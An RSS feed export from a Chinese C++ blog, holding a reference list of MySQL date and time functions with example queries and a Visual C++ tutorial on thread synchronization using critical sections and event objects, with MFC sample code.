﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-Dark Angle-随笔分类-c++</title><link>http://www.cppblog.com/niewenlong/category/4505.html</link><description /><language>zh-cn</language><lastBuildDate>Thu, 14 Aug 2008 18:35:39 GMT</lastBuildDate><pubDate>Thu, 14 Aug 2008 18:35:39 GMT</pubDate><ttl>60</ttl><item><title>Mysql日期和时间函数不求人</title><link>http://www.cppblog.com/niewenlong/archive/2008/08/15/58900.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Thu, 14 Aug 2008 16:28:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2008/08/15/58900.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/58900.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2008/08/15/58900.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/58900.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/58900.html</trackback:ping><description><![CDATA[<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">对于每个类型拥有的值范围以及并且指定日期何时间值的有效格式的描述见7.3.6 日期和时间类型。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">这里是一个使用日期函数的例子。下面的查询选择了所有记录，其date_col的值是在最后30天以内：&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">mysql&gt; SELECT something FROM table&nbsp; <br>WHERE TO_DAYS(NOW()) - TO_DAYS(date_col) &lt;= 30;&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DAYOFWEEK(date)&nbsp; <br>返回日期date的星期索引(1=星期天，2=星期一, &#8230;&#8230;7=星期六)。这些索引值对应于ODBC标准。&nbsp; <br>mysql&gt; select DAYOFWEEK('1998-02-03');&nbsp; <br>-&gt; 3&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">WEEKDAY(date)&nbsp; <br>返回date的星期索引(0=星期一，1=星期二, &#8230;&#8230;6= 星期天)。&nbsp; <br>mysql&gt; select WEEKDAY('1997-10-04 22:23:00');&nbsp; <br>-&gt; 5&nbsp; <br>mysql&gt; select WEEKDAY('1997-11-05');&nbsp; <br>-&gt; 2&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DAYOFMONTH(date)&nbsp; <br>返回date的月份中日期，在1到31范围内。&nbsp; <br>mysql&gt; select DAYOFMONTH('1998-02-03');&nbsp; <br>-&gt; 3&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DAYOFYEAR(date)&nbsp; <br>返回date在一年中的日数, 在1到366范围内。&nbsp; <br>mysql&gt; select DAYOFYEAR('1998-02-03');&nbsp; <br>-&gt; 34&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">MONTH(date)&nbsp; <br>返回date的月份，范围1到12。&nbsp; <br>mysql&gt; select MONTH('1998-02-03');&nbsp; <br>-&gt; 2&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DAYNAME(date)&nbsp; <br>返回date的星期名字。&nbsp; <br>mysql&gt; select DAYNAME("1998-02-05");&nbsp; <br>-&gt; 'Thursday'&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">MONTHNAME(date)&nbsp; <br>返回date的月份名字。&nbsp; <br>mysql&gt; select MONTHNAME("1998-02-05");&nbsp; <br>-&gt; 'February'&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">QUARTER(date)&nbsp; <br>返回date一年中的季度，范围1到4。&nbsp; <br>mysql&gt; select QUARTER('98-04-01');&nbsp; <br>-&gt; 2&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">WEEK(date)&nbsp; <br>　&nbsp; <br>WEEK(date,first)&nbsp; <br>对于星期天是一周的第一天的地方，有一个单个参数，返回date的周数，范围在0到52。2个参数形式WEEK()允许 <br>你指定星期是否开始于星期天或星期一。如果第二个参数是0，星期从星期天开始，如果第二个参数是1， <br>从星期一开始。&nbsp; <br>mysql&gt; select WEEK('1998-02-20');&nbsp; <br>-&gt; 7&nbsp; <br>mysql&gt; select WEEK('1998-02-20',0);&nbsp; <br>-&gt; 7&nbsp; <br>mysql&gt; select WEEK('1998-02-20',1);&nbsp; <br>-&gt; 8&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">YEAR(date)&nbsp; <br>返回date的年份，范围在1000到9999。&nbsp; <br>mysql&gt; select YEAR('98-02-03');&nbsp; <br>-&gt; 1998&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">HOUR(time)&nbsp; <br>返回time的小时，范围是0到23。&nbsp; <br>mysql&gt; select HOUR('10:05:03');&nbsp; <br>-&gt; 10&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">MINUTE(time)&nbsp; <br>返回time的分钟，范围是0到59。&nbsp; <br>mysql&gt; select MINUTE('98-02-03 10:05:03');&nbsp; <br>-&gt; 5&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">SECOND(time)&nbsp; <br>回来time的秒数，范围是0到59。&nbsp; <br>mysql&gt; select SECOND('10:05:03');&nbsp; <br>-&gt; 3&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">PERIOD_ADD(P,N)&nbsp; <br>增加N个月到阶段P（以格式YYMM或YYYYMM)。以格式YYYYMM返回值。注意阶段参数P不是日期值。&nbsp; <br>mysql&gt; select PERIOD_ADD(9801,2);&nbsp; <br>-&gt; 199803&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">PERIOD_DIFF(P1,P2)&nbsp; <br>返回在时期P1和P2之间月数，P1和P2应该以格式YYMM或YYYYMM。注意，时期参数P1和P2不是日期值。&nbsp; <br>mysql&gt; select PERIOD_DIFF(9802,199703);&nbsp; <br>-&gt; 11&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DATE_ADD(date,INTERVAL expr type)&nbsp; <br>　&nbsp; <br>DATE_SUB(date,INTERVAL expr type)&nbsp; <br>　&nbsp; <br>ADDDATE(date,INTERVAL expr type)&nbsp; <br>　&nbsp; <br>SUBDATE(date,INTERVAL expr type)&nbsp; <br>这些功能执行日期运算。对于MySQL 3.22，他们是新的。ADDDATE()和SUBDATE()是DATE_ADD()和DATE_SUB()的同义词。 <br>在MySQL 3.23中，你可以使用+和-而不是DATE_ADD()和DATE_SUB()。（见例子）date是一个指定开始日期的 <br>DATETIME或DATE值，expr是指定加到开始日期或从开始日期减去的间隔值一个表达式，expr是一个字符串；它可以以 <br>一个&#8220;-&#8221;开始表示负间隔。type是一个关键词，指明表达式应该如何被解释。EXTRACT(type FROM date)函数从日期 <br>中返回&#8220;type&#8221;间隔。下表显示了type和expr参数怎样被关联： type值 含义 期望的expr格式&nbsp; <br>SECOND 秒 SECONDS&nbsp; <br>MINUTE 分钟 MINUTES&nbsp; <br>HOUR 时间 HOURS&nbsp; <br>DAY 天 DAYS&nbsp; <br>MONTH 月 MONTHS&nbsp; <br>YEAR 年 YEARS&nbsp; <br>MINUTE_SECOND 分钟和秒 "MINUTES:SECONDS"&nbsp; <br>HOUR_MINUTE 小时和分钟 "HOURS:MINUTES"&nbsp; <br>DAY_HOUR 天和小时 "DAYS HOURS"&nbsp; <br>YEAR_MONTH 年和月 "YEARS-MONTHS"&nbsp; <br>HOUR_SECOND 小时, 分钟， "HOURS:MINUTES:SECONDS"&nbsp; <br>DAY_MINUTE 天, 小时, 分钟 "DAYS HOURS:MINUTES"&nbsp; <br>DAY_SECOND 天, 小时, 分钟, 秒 "DAYS HOURS:MINUTES:SECONDS"&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">MySQL在expr格式中允许任何标点分隔符。表示显示的是建议的分隔符。如果date参数是一个DATE值并且你的计算仅仅 <br>包含YEAR、MONTH和DAY部分(即，没有时间部分)，结果是一个DATE值。否则结果是一个DATETIME值。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">mysql&gt; SELECT "1997-12-31 23:59:59" + INTERVAL 1 SECOND;&nbsp; <br>-&gt; 1998-01-01 00:00:00&nbsp; <br>mysql&gt; SELECT INTERVAL 1 DAY + "1997-12-31";&nbsp; <br>-&gt; 1998-01-01&nbsp; <br>mysql&gt; SELECT "1998-01-01" - INTERVAL 1 SECOND;&nbsp; <br>-&gt; 1997-12-31 23:59:59&nbsp; <br>mysql&gt; SELECT DATE_ADD("1997-12-31 23:59:59",&nbsp; <br>INTERVAL 1 SECOND);&nbsp; <br>-&gt; 1998-01-01 00:00:00&nbsp; <br>mysql&gt; SELECT DATE_ADD("1997-12-31 23:59:59",&nbsp; <br>INTERVAL 1 DAY);&nbsp; <br>-&gt; 1998-01-01 23:59:59&nbsp; <br>mysql&gt; SELECT DATE_ADD("1997-12-31 23:59:59",&nbsp; <br>INTERVAL "1:1" MINUTE_SECOND);&nbsp; <br>-&gt; 1998-01-01 00:01:00&nbsp; <br>mysql&gt; SELECT DATE_SUB("1998-01-01 00:00:00",&nbsp; <br>INTERVAL "1 1:1:1" DAY_SECOND);&nbsp; <br>-&gt; 1997-12-30 22:58:59&nbsp; <br>mysql&gt; SELECT DATE_ADD("1998-01-01 00:00:00",&nbsp; <br>INTERVAL "-1 10" DAY_HOUR);&nbsp; <br>-&gt; 1997-12-30 14:00:00&nbsp; <br>mysql&gt; SELECT DATE_SUB("1998-01-02", INTERVAL 31 DAY);&nbsp; <br>-&gt; 1997-12-02&nbsp; <br>mysql&gt; SELECT EXTRACT(YEAR FROM "1999-07-02");&nbsp; <br>-&gt; 1999&nbsp; <br>mysql&gt; SELECT EXTRACT(YEAR_MONTH FROM "1999-07-02 01:02:03");&nbsp; <br>-&gt; 199907&nbsp; <br>mysql&gt; SELECT EXTRACT(DAY_MINUTE FROM "1999-07-02 01:02:03");&nbsp; <br>-&gt; 20102&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">如果你指定太短的间隔值(不包括type关键词期望的间隔部分)，MySQL假设你省掉了间隔值的最左面部分。例如， <br>如果你指定一个type是DAY_SECOND，值expr被希望有天、小时、分钟和秒部分。如果你象"1:10"这样指定值， <br>MySQL假设日子和小时部分是丢失的并且值代表分钟和秒。换句话说，"1:10" DAY_SECOND以它等价于"1:10" MINUTE_SECOND <br>的方式解释，这对那MySQL解释TIME值表示经过的时间而非作为一天的时间的方式有二义性。如果你使用确实不正确的日期， <br>结果是NULL。如果你增加MONTH、YEAR_MONTH或YEAR并且结果日期大于新月份的最大值天数，日子在新月用最大的天调整。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">mysql&gt; select DATE_ADD('1998-01-30', Interval 1 month);&nbsp; <br>-&gt; 1998-02-28&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">注意，从前面的例子中词INTERVAL和type关键词不是区分大小写的。&nbsp; <br>TO_DAYS(date)&nbsp; <br>给出一个日期date，返回一个天数(从0年的天数)。&nbsp; <br>mysql&gt; select TO_DAYS(950501);&nbsp; <br>-&gt; 728779&nbsp; <br>mysql&gt; select TO_DAYS('1997-10-07');&nbsp; <br>-&gt; 729669&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">TO_DAYS()不打算用于使用格列高里历(1582)出现前的值。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">FROM_DAYS(N)&nbsp; <br>给出一个天数N，返回一个DATE值。&nbsp; <br>mysql&gt; select FROM_DAYS(729669);&nbsp; <br>-&gt; '1997-10-07'&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">TO_DAYS()不打算用于使用格列高里历(1582)出现前的值。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">DATE_FORMAT(date,format)&nbsp; <br>根据format字符串格式化date值。下列修饰符可以被用在format字符串中： %M 月名字(January&#8230;&#8230;December)&nbsp; <br>%W 星期名字(Sunday&#8230;&#8230;Saturday)&nbsp; <br>%D 有英语前缀的月份的日期(1st, 2nd, 3rd, 等等。）&nbsp; <br>%Y 年, 数字, 4 位&nbsp; <br>%y 年, 数字, 2 位&nbsp; <br>%a 缩写的星期名字(Sun&#8230;&#8230;Sat)&nbsp; <br>%d 月份中的天数, 数字(00&#8230;&#8230;31)&nbsp; <br>%e 月份中的天数, 数字(0&#8230;&#8230;31)&nbsp; <br>%m 月, 数字(01&#8230;&#8230;12)&nbsp; <br>%c 月, 数字(1&#8230;&#8230;12)&nbsp; <br>%b 缩写的月份名字(Jan&#8230;&#8230;Dec)&nbsp; <br>%j 一年中的天数(001&#8230;&#8230;366)&nbsp; <br>%H 小时(00&#8230;&#8230;23)&nbsp; <br>%k 小时(0&#8230;&#8230;23)&nbsp; <br>%h 小时(01&#8230;&#8230;12)&nbsp; <br>%I 小时(01&#8230;&#8230;12)&nbsp; <br>%l 小时(1&#8230;&#8230;12)&nbsp; <br>%i 分钟, 数字(00&#8230;&#8230;59)&nbsp; <br>%r 时间,12 小时(hh:mm:ss [AP]M)&nbsp; <br>%T 时间,24 小时(hh:mm:ss)&nbsp; <br>%S 秒(00&#8230;&#8230;59)&nbsp; <br>%s 秒(00&#8230;&#8230;59)&nbsp; <br>%p AM或PM&nbsp; <br>%w 一个星期中的天数(0=Sunday &#8230;&#8230;6=Saturday ）&nbsp; <br>%U 星期(0&#8230;&#8230;52), 这里星期天是星期的第一天&nbsp; <br>%u 星期(0&#8230;&#8230;52), 这里星期一是星期的第一天&nbsp; <br>%% 一个文字&#8220;%&#8221;。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">所有的其他字符不做解释被复制到结果中。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">mysql&gt; select DATE_FORMAT('1997-10-04 22:23:00', '%W %M %Y');&nbsp; <br>-&gt; 'Saturday October 1997'&nbsp; <br>mysql&gt; select DATE_FORMAT('1997-10-04 22:23:00', '%H:%i:%s');&nbsp; <br>-&gt; '22:23:00'&nbsp; <br>mysql&gt; select DATE_FORMAT('1997-10-04 22:23:00',&nbsp; <br>'%D %y %a %d %m %b %j');&nbsp; <br>-&gt; '4th 97 Sat 04 10 Oct 277'&nbsp; <br>mysql&gt; select DATE_FORMAT('1997-10-04 22:23:00',&nbsp; <br>'%H %k %I %r %T %S %w');&nbsp; <br>-&gt; '22 22 10 10:23:00 PM 22:23:00 00 6'&nbsp; <br>MySQL3.23中，在格式修饰符字符前需要%。在MySQL更早的版本中，%是可选的。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">TIME_FORMAT(time,format)&nbsp; <br>这象上面的DATE_FORMAT()函数一样使用，但是format字符串只能包含处理小时、分钟和秒的那些格式修饰符。 <br>其他修饰符产生一个NULL值或0。&nbsp; <br>CURDATE()&nbsp; <br>　&nbsp; <br>CURRENT_DATE&nbsp; <br>以'YYYY-MM-DD'或YYYYMMDD格式返回今天日期值，取决于函数是在一个字符串还是数字上下文被使用。&nbsp; <br>mysql&gt; select CURDATE();&nbsp; <br>-&gt; '1997-12-15'&nbsp; <br>mysql&gt; select CURDATE() + 0;&nbsp; <br>-&gt; 19971215&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">CURTIME()&nbsp; <br>　&nbsp; <br>CURRENT_TIME&nbsp; <br>以'HH:MM:SS'或HHMMSS格式返回当前时间值，取决于函数是在一个字符串还是在数字的上下文被使用。&nbsp; <br>mysql&gt; select CURTIME();&nbsp; <br>-&gt; '23:50:26'&nbsp; <br>mysql&gt; select CURTIME() + 0;&nbsp; <br>-&gt; 235026&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">NOW()&nbsp; <br>　&nbsp; <br>SYSDATE()&nbsp; <br>　&nbsp; <br>CURRENT_TIMESTAMP&nbsp; <br>以'YYYY-MM-DD HH:MM:SS'或YYYYMMDDHHMMSS格式返回当前的日期和时间，取决于函数是在一个字符串还是在数字的 <br>上下文被使用。&nbsp; <br>mysql&gt; select NOW();&nbsp; <br>-&gt; '1997-12-15 23:50:26'&nbsp; <br>mysql&gt; select NOW() + 0;&nbsp; <br>-&gt; 19971215235026&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">UNIX_TIMESTAMP()&nbsp; <br>　&nbsp; <br>UNIX_TIMESTAMP(date)&nbsp; <br>如果没有参数调用，返回一个Unix时间戳记(从'1970-01-01 00:00:00'GMT开始的秒数)。如果UNIX_TIMESTAMP()用一 <br>个date参数被调用，它返回从'1970-01-01 00:00:00' GMT开始的秒数值。date可以是一个DATE字符串、一个DATETIME <br>字符串、一个TIMESTAMP或以YYMMDD或YYYYMMDD格式的本地时间的一个数字。&nbsp; <br>mysql&gt; select UNIX_TIMESTAMP();&nbsp; <br>-&gt; 882226357&nbsp; <br>mysql&gt; select UNIX_TIMESTAMP('1997-10-04 22:23:00');&nbsp; <br>-&gt; 875996580&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">当UNIX_TIMESTAMP被用于一个TIMESTAMP列，函数将直接接受值，没有隐含的&#8220;string-to-unix-timestamp&#8221;变换。&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">FROM_UNIXTIME(unix_timestamp)&nbsp; <br>以'YYYY-MM-DD HH:MM:SS'或YYYYMMDDHHMMSS格式返回unix_timestamp参数所表示的值，取决于函数是在一个字符串 <br>还是或数字上下文中被使用。&nbsp; <br>mysql&gt; select FROM_UNIXTIME(875996580);&nbsp; <br>-&gt; '1997-10-04 22:23:00'&nbsp; <br>mysql&gt; select FROM_UNIXTIME(875996580) + 0;&nbsp; <br>-&gt; 19971004222300&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">FROM_UNIXTIME(unix_timestamp,format)&nbsp; <br>返回表示 Unix 时间标记的一个字符串，根据format字符串格式化。format可以包含与DATE_FORMAT()函数列出的条 <br>目同样的修饰符。&nbsp; <br>mysql&gt; select FROM_UNIXTIME(UNIX_TIMESTAMP(),&nbsp; <br>'%Y %D %M %h:%i:%s %x');&nbsp; <br>-&gt; '1997 23rd December 03:43:30 x'&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">SEC_TO_TIME(seconds)&nbsp; <br>返回seconds参数，变换成小时、分钟和秒，值以'HH:MM:SS'或HHMMSS格式化，取决于函数是在一个字符串还是在数字 <br>上下文中被使用。&nbsp; <br>mysql&gt; select SEC_TO_TIME(2378);&nbsp; <br>-&gt; '00:39:38'&nbsp; <br>mysql&gt; select SEC_TO_TIME(2378) + 0;&nbsp; <br>-&gt; 3938&nbsp; </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">TIME_TO_SEC(time)&nbsp; <br>返回time参数，转换成秒。&nbsp; <br>mysql&gt; select TIME_TO_SEC('22:23:00');&nbsp; <br>-&gt; 80580&nbsp; <br>mysql&gt; select TIME_TO_SEC('00:39:38');&nbsp; <br>-&gt; 2378 </p>
<p style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">&nbsp;</p>
<img src ="http://www.cppblog.com/niewenlong/aggbug/58900.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2008-08-15 00:28 <a href="http://www.cppblog.com/niewenlong/archive/2008/08/15/58900.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Visual C++线程同步技术 </title><link>http://www.cppblog.com/niewenlong/archive/2007/09/24/32784.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Mon, 24 Sep 2007 06:53:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/09/24/32784.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/32784.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/09/24/32784.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/32784.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/32784.html</trackback:ping><description><![CDATA[<div class=postText>
<p>线程同步的方式有：<br>　　临界区<br>　　管理事件内核对象<br>　　信号量内核对象<br>　　互斥内核对象<br>分别介绍如下：<br><br><strong>使线程同步<br><br></strong>　　在程序中使用多线程时，一般很少有多个线程能在其生命期内进行完全独立的操作。更多的情况是一些线程进行某些处理操作，而其他的线程必须对其处理结果进行了解。正常情况下对这种处理结果的了解应当在其处理任务完成后进行。<br><br>　　如果不采取适当的措施，其他线程往往会在线程处理任务结束前就去访问处理结果，这就很有可能得到有关处理结果的错误了解。例如，多个线程同时访问同一个全局变量，如果都是读取操作，则不会出现问题。如果一个线程负责改变此变量的值，而其他线程负责同时读取变量内容，则不能保证读取到的数据是经过写线程修改后的。<br><br>　　为了确保读线程读取到的是经过修改的变量，就必须在向变量写入数据时禁止其他线程对其的任何访问，直至赋值过程结束后再解除对其他线程的访问限制。象这种保证线程能了解其他线程任务处理结束后的处理结果而采取的保护措施即为线程同步。<br><br>　　线程同步是一个非常大的话题，包括方方面面的内容。从大的方面讲，线程的同步可分用户模式的线程同步和内核对象的线程同步两大类。用户模式中线程的同步方法主要有原子访问和临界区等方法。其特点是同步速度特别快，适合于对线程运行速度有严格要求的场合。<br><br>　　内核对象的线程同步则主要由事件、等待定时器、信号量以及信号灯等内核对象构成。由于这种同步机制使用了内核对象，使用时必须将线程从用户模式切换到内核模式，而这种转换一般要耗费近千个CPU周期，因此同步速度较慢，但在适用性上却要远优于用户模式的线程同步方式。<br><br><strong>临界区<br><br></strong>　　临界区（Critical Section）是一段独占对某些共享资源访问的代码，在任意时刻只允许一个线程对共享资源进行访问。如果有多个线程试图同时访问临界区，那么在有一个线程进入后其他所有试图访问此临界区的线程将被挂起，并一直持续到进入临界区的线程离开。临界区在被释放后，其他线程可以继续抢占，并以此达到用原子方式操作共享资源的目的。<br><br>　　临界区在使用时以CRITICAL_SECTION结构对象保护共享资源，并分别用EnterCriticalSection（）和LeaveCriticalSection（）函数去标识和释放一个临界区。所用到的CRITICAL_SECTION结构对象必须经过InitializeCriticalSection（）的初始化后才能使用，而且必须确保所有线程中的任何试图访问此共享资源的代码都处在此临界区的保护之下。否则临界区将不会起到应有的作用，共享资源依然有被破坏的可能。<br><br><img height=87 alt=thread01.jpg src="http://www.cppblog.com/images/cppblog_com/andxie99/thread01.jpg" width=178 border=0><br>图1 使用临界区保持线程同步<br><br>　　下面通过一段代码展示了临界区在保护多线程访问的共享资源中的作用。通过两个线程来分别对全局变量g_cArray[10]进行写入操作，用临界区结构对象g_cs来保持线程的同步，并在开启线程前对其进行初始化。为了使实验效果更加明显，体现出临界区的作用，在线程函数对共享资源g_cArray[10]的写入时，以Sleep（）函数延迟1毫秒，使其他线程同其抢占CPU的可能性增大。如果不使用临界区对其进行保护，则共享资源数据将被破坏（参见图1（a）所示计算结果），而使用临界区对线程保持同步后则可以得到正确的结果（参见图1（b）所示计算结果）。代码实现清单附下：<br><br></p>
<p>&#160;</p>
<p>&#160;</p>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 临界区结构对象<br>CRITICAL_SECTION g_cs;<br>// 共享资源 <br>char g_cArray[10];<br>UINT ThreadProc10(LPVOID pParam)<br>{<br>　// 进入临界区<br>　EnterCriticalSection(&amp;g_cs);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 离开临界区<br>　LeaveCriticalSection(&amp;g_cs);<br>　return 0;<br>}<br>UINT ThreadProc11(LPVOID pParam)<br>{<br>　// 进入临界区<br>　EnterCriticalSection(&amp;g_cs);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 离开临界区<br>　LeaveCriticalSection(&amp;g_cs);<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnCriticalSection() <br>{<br>　// 初始化临界区<br>　InitializeCriticalSection(&amp;g_cs);<br>　// 启动线程<br>　AfxBeginThread(ThreadProc10, NULL);<br>　AfxBeginThread(ThreadProc11, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
<br>　　在使用临界区时，一般不允许其运行时间过长，只要进入临界区的线程还没有离开，其他所有试图进入此临界区的线程都会被挂起而进入到等待状态，并会在一定程度上影响。程序的运行性能。尤其需要注意的是不要将等待用户输入或是其他一些外界干预的操作包含到临界区。如果进入了临界区却一直没有释放，同样也会引起其他线程的长时间等待。换句话说，在执行了EnterCriticalSection（）语句进入临界区后无论发生什么，必须确保与之匹配的LeaveCriticalSection（）都能够被执行到。可以通过添加结构化异常处理代码来确保LeaveCriticalSection（）语句的执行。虽然临界区同步速度很快，但却只能用来同步本进程内的线程，而不可用来同步多个进程中的线程。<br><br>　　MFC为临界区提供有一个CCriticalSection类，使用该类进行线程同步处理是非常简单的，只需在线程函数中用CCriticalSection类成员函数Lock（）和UnLock（）标定出被保护代码片段即可。对于上述代码，可通过CCriticalSection类将其改写如下：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// MFC临界区类对象<br>CCriticalSection g_clsCriticalSection;<br>// 共享资源 <br>char g_cArray[10];<br>UINT ThreadProc20(LPVOID pParam)<br>{<br>　// 进入临界区<br>　g_clsCriticalSection.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 离开临界区<br>　g_clsCriticalSection.Unlock();<br>　return 0;<br>}<br>UINT ThreadProc21(LPVOID pParam)<br>{<br>　// 进入临界区<br>　g_clsCriticalSection.Lock();<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 离开临界区<br>　g_clsCriticalSection.Unlock();<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnCriticalSectionMfc() <br>{<br>　// 启动线程<br>　AfxBeginThread(ThreadProc20, NULL);<br>　AfxBeginThread(ThreadProc21, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
<br><strong>管理事件内核对象<br><br></strong>　　在前面讲述线程通信时曾使用过事件内核对象来进行线程间的通信，除此之外，事件内核对象也可以通过通知操作的方式来保持线程的同步。对于前面那段使用临界区保持线程同步的代码可用事件对象的线程同步方法改写如下：<br><br>
<table width="100%" bgColor=#ffffff>
    <tbody>
        <tr>
            <td>// 事件句柄<br>HANDLE hEvent = NULL;<br>// 共享资源 <br>char g_cArray[10];<br>&#8230;&#8230;<br>UINT ThreadProc12(LPVOID pParam)<br>{<br>　// 等待事件置位<br>　WaitForSingleObject(hEvent, INFINITE);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[i] = 'a';<br>　　Sleep(1);<br>　}<br>　// 处理完成后即将事件对象置位<br>　SetEvent(hEvent);<br>　return 0;<br>}<br>UINT ThreadProc13(LPVOID pParam)<br>{<br>　// 等待事件置位<br>　WaitForSingleObject(hEvent, INFINITE);<br>　// 对共享资源进行写入操作<br>　for (int i = 0; i &lt; 10; i++)<br>　{<br>　　g_cArray[10 - i - 1] = 'b';<br>　　Sleep(1);<br>　}<br>　// 处理完成后即将事件对象置位<br>　SetEvent(hEvent);<br>　return 0;<br>}<br>&#8230;&#8230;<br>void CSample08View::OnEvent() <br>{<br>　// 创建事件<br>　hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);<br>　// 事件置位<br>　SetEvent(hEvent);<br>　// 启动线程<br>　AfxBeginThread(ThreadProc12, NULL);<br>　AfxBeginThread(ThreadProc13, NULL);<br>　// 等待计算完毕<br>　Sleep(300);<br>　// 报告计算结果<br>　CString sResult = CString(g_cArray);<br>　AfxMessageBox(sResult);<br>}</td>
        </tr>
    </tbody>
</table>
